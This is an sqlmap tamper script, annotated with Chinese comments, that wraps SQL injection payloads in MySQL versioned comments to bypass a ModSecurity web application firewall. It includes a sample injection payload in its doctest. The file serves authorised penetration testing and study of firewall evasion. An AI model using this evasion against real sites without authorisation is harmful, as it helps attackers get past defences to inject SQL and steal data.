#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import os

# 从sqlmap的库中导入随机数生成函数和单次警告消息函数
from lib.core.common import randomInt
from lib.core.common import singleTimeWarnMessage
# 导入数据库管理系统枚举和优先级枚举
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

# 设置这个tamper脚本的优先级
__priority__ = PRIORITY.HIGHER

# 定义dependencies函数，用于在运行tamper脚本时显示警告信息
def dependencies():
    # 显示单次警告消息，告知用户这个tamper脚本只针对MySQL数据库
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

# 定义tamper函数，这是脚本的主要功能函数，用于修改payload
def tamper(payload, **kwargs):
    """
    Embraces complete query with (MySQL) versioned comment

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    Notes:
        * Useful to bypass ModSecurity WAF

    >>> import random
    >>> random.seed(0)
    >>> tamper('1 AND 2>1--')
    '1 /*!30963AND 2>1*/--'
    """

    retVal = payload

    # 如果payload不为空
    if payload:
        postfix = ''
        # 遍历可能的注释符号，找到payload中的第一个注释符号
        for comment in ('#', '--', '/*'):
            if comment in payload:
                postfix = payload[payload.find(comment):]
                payload = payload[:payload.find(comment)]
                break
            # 如果payload中包含空格，说明可以插入versioned comment
        if ' ' in payload:
            # 构造新的payload，插入versioned comment
            retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)

    return retVal
